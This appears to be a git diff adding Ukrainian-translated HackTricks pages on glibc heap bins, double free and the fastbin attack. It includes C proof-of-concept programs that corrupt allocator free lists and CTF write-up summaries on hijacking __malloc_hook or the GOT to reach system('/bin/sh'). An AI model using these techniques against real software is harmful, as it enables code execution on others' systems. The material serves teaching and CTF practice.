((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index(sz) \
|
||||
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
|
||||
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
|
||||
: largebin_index_32 (sz))
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Додати приклад великого фрагмента</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[2];
|
||||
|
||||
chunks[0] = malloc(0x1500);
|
||||
chunks[1] = malloc(0x1500);
|
||||
free(chunks[0]);
|
||||
chunks[0] = malloc(0x2000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
2 великі виділення виконуються, потім одне з них звільняється (поміщаючи його в неупорядкований бін) і робиться більше виділення (переміщаючи вільний блок з неупорядкованого біна в великий бін).
|
||||
|
||||
Скомпілюйте його та відлагодьте з точкою зупинки в опкоді `ret` з функції `main`. Потім за допомогою `gef` ви можете побачити, що бін tcache повний, і один блок знаходиться в великому біні:
|
||||
```bash
|
||||
gef➤ heap bin
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
All tcachebins are empty
|
||||
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
|
||||
Fastbins[idx=0, size=0x20] 0x00
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
Fastbins[idx=2, size=0x40] 0x00
|
||||
Fastbins[idx=3, size=0x50] 0x00
|
||||
Fastbins[idx=4, size=0x60] 0x00
|
||||
Fastbins[idx=5, size=0x70] 0x00
|
||||
Fastbins[idx=6, size=0x80] 0x00
|
||||
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
|
||||
[+] Found 0 chunks in unsorted bin.
|
||||
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] Found 0 chunks in 0 small non-empty bins.
|
||||
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
|
||||
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 large non-empty bins.
|
||||
```
|
||||
</details>
|
||||
|
||||
### Верхній Чанк
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Top
|
||||
|
||||
The top-most available chunk (i.e., the one bordering the end of
|
||||
available memory) is treated specially. It is never included in
|
||||
any bin, is used only if no other chunk is available, and is
|
||||
released back to the system if it is very large (see
|
||||
M_TRIM_THRESHOLD). Because top initially
|
||||
points to its own bin with initial zero size, thus forcing
|
||||
extension on the first malloc request, we avoid having any special
|
||||
code in malloc to check whether it even exists yet. But we still
|
||||
need to do so when getting memory from system, so we make
|
||||
initial_top treat the bin as a legal but unusable chunk during the
|
||||
interval between initialization and the first call to
|
||||
sysmalloc. (This is somewhat delicate, since it relies on
|
||||
the 2 preceding words to be zero during this interval as well.)
|
||||
*/
|
||||
|
||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||
#define initial_top(M) (unsorted_chunks (M))
|
||||
```
|
||||
Зазвичай, це фрагмент, що містить усі доступні у купі пам'яті. Коли виконується malloc і вільний фрагмент для використання відсутній, цей верхній фрагмент буде зменшувати свій розмір, надаючи необхідний простір. Вказівник на Верхній Фрагмент зберігається в структурі `malloc_state`.
|
||||
|
||||
Крім того, спочатку можна використовувати неупорядкований фрагмент як верхній фрагмент.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Приклад спостереження за Верхнім Фрагментом</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Після компіляції та налагодження з точкою зупинки в опкоді `ret` `main` я побачив, що malloc повернув адресу `0xaaaaaaac12a0`, і ось ці чанки:
|
||||
```bash
|
||||
gef➤ heap chunks
|
||||
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
|
||||
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
|
||||
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||
```
|
||||
Де можна побачити, що верхній фрагмент знаходиться за адресою `0xaaaaaaac1ae0`. Це не диво, оскільки останній виділений фрагмент був за адресою `0xaaaaaaac12a0` з розміром `0x410`, і `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
||||
Також можна побачити довжину верхнього фрагмента на його заголовку фрагмента:
|
||||
```bash
|
||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
||||
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
|
||||
```
|
||||
</details>
|
||||
|
||||
### Останній залишок
|
||||
|
||||
Коли використовується malloc і блок розділяється (наприклад, з невпорядкованого баку або з верхнього блоку), блок, створений з решти розділеного блоку, називається Останнім залишком, а його вказівник зберігається в структурі `malloc_state`.
|
||||
|
||||
## Потік виділення
|
||||
|
||||
Перевірте:
|
||||
|
||||
{% content-ref url="heap-memory-functions/malloc-and-sysmalloc.md" %}
|
||||
[malloc-and-sysmalloc.md](heap-memory-functions/malloc-and-sysmalloc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Потік вивільнення
|
||||
|
||||
Перевірте:
|
||||
|
||||
{% content-ref url="heap-memory-functions/free.md" %}
|
||||
[free.md](heap-memory-functions/free.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Перевірки безпеки функцій купи
|
||||
|
||||
Перевірте перевірки безпеки, які виконуються в широко використовуваних функціях в купі, в:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
156
binary-exploitation/libc-heap/double-free.md
Normal file
156
binary-exploitation/libc-heap/double-free.md
Normal file
|
@ -0,0 +1,156 @@
|
|||
# Подвійне вивільнення
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Якщо ви вивільняєте блок пам'яті більше одного разу, це може спричинити проблеми з даними алокатора та відкрити двері для атак. Ось як це відбувається: коли ви вивільняєте блок пам'яті, він повертається до списку вільних частин (наприклад, "швидкий бін"). Якщо ви вивільнюєте той самий блок двічі поспіль, алокатор виявляє це і видає помилку. Але якщо **вивільнити інший блок між ними, перевірка подвійного вивільнення обходиться**, що призводить до порушень.
|
||||
|
||||
Тепер, коли ви просите нову пам'ять (використовуючи `malloc`), алокатор може дати вам **блок, який був вивільнений двічі**. Це може призвести до того, що два різні вказівники вказують на ту саму область пам'яті. Якщо зловмисник контролює один з цих вказівників, він може змінити вміст цієї пам'яті, що може призвести до проблем з безпекою або навіть дозволити виконати код.
|
||||
|
||||
Приклад:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
// Allocate memory for three chunks
|
||||
char *a = (char *)malloc(10);
|
||||
char *b = (char *)malloc(10);
|
||||
char *c = (char *)malloc(10);
|
||||
char *d = (char *)malloc(10);
|
||||
char *e = (char *)malloc(10);
|
||||
char *f = (char *)malloc(10);
|
||||
char *g = (char *)malloc(10);
|
||||
char *h = (char *)malloc(10);
|
||||
char *i = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("Initial allocations:\n");
|
||||
printf("a: %p\n", (void *)a);
|
||||
printf("b: %p\n", (void *)b);
|
||||
printf("c: %p\n", (void *)c);
|
||||
printf("d: %p\n", (void *)d);
|
||||
printf("e: %p\n", (void *)e);
|
||||
printf("f: %p\n", (void *)f);
|
||||
printf("g: %p\n", (void *)g);
|
||||
printf("h: %p\n", (void *)h);
|
||||
printf("i: %p\n", (void *)i);
|
||||
|
||||
// Fill tcache
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
free(e);
|
||||
free(f);
|
||||
free(g);
|
||||
|
||||
// Introduce double-free vulnerability in fast bin
|
||||
free(h);
|
||||
free(i);
|
||||
free(h);
|
||||
|
||||
|
||||
// Reallocate memory and print the addresses
|
||||
char *a1 = (char *)malloc(10);
|
||||
char *b1 = (char *)malloc(10);
|
||||
char *c1 = (char *)malloc(10);
|
||||
char *d1 = (char *)malloc(10);
|
||||
char *e1 = (char *)malloc(10);
|
||||
char *f1 = (char *)malloc(10);
|
||||
char *g1 = (char *)malloc(10);
|
||||
char *h1 = (char *)malloc(10);
|
||||
char *i1 = (char *)malloc(10);
|
||||
char *i2 = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("After reallocations:\n");
|
||||
printf("a1: %p\n", (void *)a1);
|
||||
printf("b1: %p\n", (void *)b1);
|
||||
printf("c1: %p\n", (void *)c1);
|
||||
printf("d1: %p\n", (void *)d1);
|
||||
printf("e1: %p\n", (void *)e1);
|
||||
printf("f1: %p\n", (void *)f1);
|
||||
printf("g1: %p\n", (void *)g1);
|
||||
printf("h1: %p\n", (void *)h1);
|
||||
printf("i1: %p\n", (void *)i1);
|
||||
printf("i2: %p\n", (void *)i1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
У цьому прикладі, після наповнення tcache кількома вивільненими частинами (7), код **вивільняє частину `h`, потім частину `i`, а потім знову `h`, що призводить до подвійного вивільнення** (також відомого як Fast Bin dup). Це відкриває можливість отримання накладаючихся адрес пам'яті при повторному виділенні, що означає, що два або більше вказівники можуть вказувати на ту саму область пам'яті. Маніпулюючи даними через один вказівник, можна вплинути на інший, створюючи критичний ризик безпеки та потенціал для експлуатації.
|
||||
|
||||
Виконавши це, зверніть увагу, як **`i1` та `i2` отримали однакову адресу**:
|
||||
|
||||
<pre><code>Початкові виділення:
|
||||
a: 0xaaab0f0c22a0
|
||||
b: 0xaaab0f0c22c0
|
||||
c: 0xaaab0f0c22e0
|
||||
d: 0xaaab0f0c2300
|
||||
e: 0xaaab0f0c2320
|
||||
f: 0xaaab0f0c2340
|
||||
g: 0xaaab0f0c2360
|
||||
h: 0xaaab0f0c2380
|
||||
i: 0xaaab0f0c23a0
|
||||
Після повторного виділення:
|
||||
a1: 0xaaab0f0c2360
|
||||
b1: 0xaaab0f0c2340
|
||||
c1: 0xaaab0f0c2320
|
||||
d1: 0xaaab0f0c2300
|
||||
e1: 0xaaab0f0c22e0
|
||||
f1: 0xaaab0f0c22c0
|
||||
g1: 0xaaab0f0c22a0
|
||||
h1: 0xaaab0f0c2380
|
||||
<strong>i1: 0xaaab0f0c23a0
|
||||
</strong><strong>i2: 0xaaab0f0c23a0
|
||||
</strong></code></pre>
|
||||
|
||||
## Приклади
|
||||
|
||||
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
|
||||
* Ми можемо виділяти лише частини розміром Fast-Bin, за винятком розміру `0x70`, що запобігає звичайному перезапису `__malloc_hook`.
|
||||
* Замість цього ми використовуємо адреси PIE, які починаються з `0x56`, як ціль для Fast Bin dup (1/2 шанс).
|
||||
* Одне місце, де зберігаються адреси PIE, це `main_arena`, яка знаходиться всередині Glibc та поруч з `__malloc_hook`.
|
||||
* Ми спрямовуємося на конкретний зсув `main_arena`, щоб виділити туди частину та продовжуємо виділяти частини до досягнення `__malloc_hook` для виконання коду.
|
||||
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
|
||||
* Використовуючи біни Tcache та переповнення нульовим байтом, ми можемо досягти ситуації подвійного вивільнення:
|
||||
* Ми виділяємо три частини розміром `0x110` (`A`, `B`, `C`).
|
||||
* Ми вивільняємо `B`.
|
||||
* Ми вивільняємо `A` та виділяємо знову, щоб використати переповнення нульовим байтом.
|
||||
* Тепер розмір поля `B` - `0x100`, а не `0x111`, тому ми можемо знову його вивільнити.
|
||||
* У нас є один бін Tcache розміром `0x110` та один розміром `0x100`, які вказують на ту саму адресу. Таким чином, ми маємо подвійне вивільнення.
|
||||
* Ми використовуємо подвійне вивільнення за допомогою [забруднення Tcache](tcache-bin-attack.md)
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
180
binary-exploitation/libc-heap/fast-bin-attack.md
Normal file
180
binary-exploitation/libc-heap/fast-bin-attack.md
Normal file
|
@ -0,0 +1,180 @@
|
|||
# Швидка атака на біни
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для отримання додаткової інформації про те, що таке швидкий бін, перегляньте цю сторінку:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Оскільки швидкий бін є однозв'язним списком, тут набагато менше захисту, ніж в інших бінах, і достатньо просто **змінити адресу в вивільненому швидкому блоці**, щоб мати можливість **виділити пізніше блоці в будь-якій адресі пам'яті**.
|
||||
|
||||
У підсумку:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```c
|
||||
ptr0 = malloc(0x20);
|
||||
ptr1 = malloc(0x20);
|
||||
|
||||
// Put them in fast bin (suppose tcache is full)
|
||||
free(ptr0)
|
||||
free(ptr1)
|
||||
|
||||
// Use-after-free
|
||||
// Modify the address where the free chunk of ptr1 is pointing
|
||||
*ptr1 = (unsigned long)((char *)&<address>);
|
||||
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ви можете знайти повний приклад у дуже добре поясненому коді за посиланням [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
|
||||
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
|
||||
int stackVar = 0x55;
|
||||
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
|
||||
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
|
||||
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
}
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Якщо можливо перезаписати значення глобальної змінної **`global_max_fast`** на велике число, це дозволяє створювати швидкі бін-частини більших розмірів, що потенційно дозволяє виконувати атаки на швидкі бін-частини в сценаріях, де це раніше було неможливо. Ця ситуація корисна в контексті [атаки на великі бін-частини](large-bin-attack.md) та [атаки на несортовані бін-частини](unsorted-bin-attack.md)
|
||||
{% endhint %}
|
||||
|
||||
## Приклади
|
||||
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
||||
* Можливо виділити частини, звільнити їх, прочитати їх вміст та заповнити їх (з вразливістю переповнення).
|
||||
* **Консолідувати частину для витоку інформації**: Техніка полягає в тому, щоб зловживати переповненням, щоб створити фальшивий `prev_size`, таким чином, одну попередню частину поміщають всередину більшої, тому при виділенні більшої частини, що містить іншу частину, можливо роздрукувати її дані та витік адреси до libc (`main_arena+88`).
|
||||
* **Перезаписати гачок malloc**: Для цього, зловживаючи попередньою ситуацією перекриття, було можливо мати 2 частини, які вказували на одну й ту ж пам'ять. Тому, звільнивши їх обидві (звільнивши ще одну частину між ними, щоб уникнути захисту), було можливо мати ту саму частину в швидкій бін 2 рази. Потім було можливо виділити її знову, перезаписати адресу наступної частини, щоб вказувати трохи перед `__malloc_hook` (таким чином, вона вказує на ціле число, яке malloc вважає вільним розміром - ще одне ухилення), виділити її знову, а потім виділити ще одну частину, яка отримає адресу гачків malloc.\
|
||||
Нарешті, туди було записано **один гаджет**.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
||||
* Є переповнення купи та використання після вивільнення, а також подвійне вивільнення, оскільки після вивільнення частини можна повторно використовувати та знову вивільняти вказівники.
|
||||
* **Витік інформації про libc**: Просто вивільніть деякі частини, і вони отримають вказівник на частину головної арени. Оскільки можна повторно використовувати вивільнені вказівники, просто прочитайте цю адресу.
|
||||
* **Атака на швидкі бін-частини**: Усі вказівники на виділення зберігаються всередині масиву, тому ми можемо вивільнити кілька швидких бін-частин, а в останній перезаписати адресу, щоб вказувати трохи перед цим масивом вказівників. Потім виділити кілька частин однакового розміру, і ми отримаємо спочатку легітимний, а потім фальшивий, що містить масив вказівників. Тепер ми можемо перезаписати ці вказівники виділення, щоб зробити адресу GOT `free` вказувати на `system`, а потім записати `"/bin/sh"` в частину 1, а потім викликати `free(chunk1)`, який замість цього виконає `system("/bin/sh")`.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
* Ще один приклад зловживання переповненням на один байт для консолідації частин в несортованому біні та отримання витоку інформації про libc, а потім виконання атаки на швидкі бін-частини для перезапису гачка malloc адресою одного гаджета
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
||||
* Після витоку інформації, зловживаючи несортованим біном з UAF для витоку адреси libc та адреси PIE, експлойт цього CTF використовував атаку на швидкі бін-частини для виділення частини в місці, де знаходилися вказівники на керовані частини, тому було можливо перезаписати певні вказівники, щоб записати один гаджет в GOT
|
||||
* Ви можете знайти атаку на швидкі бін-частини, яку використовували через атаку на несортовані бін-частини:
|
||||
* Зауважте, що перед виконанням атак на швидкі бін-частини досить поширено зловживати списками вивільнення для витоку адрес libc/кучі (якщо потрібно).
|
||||
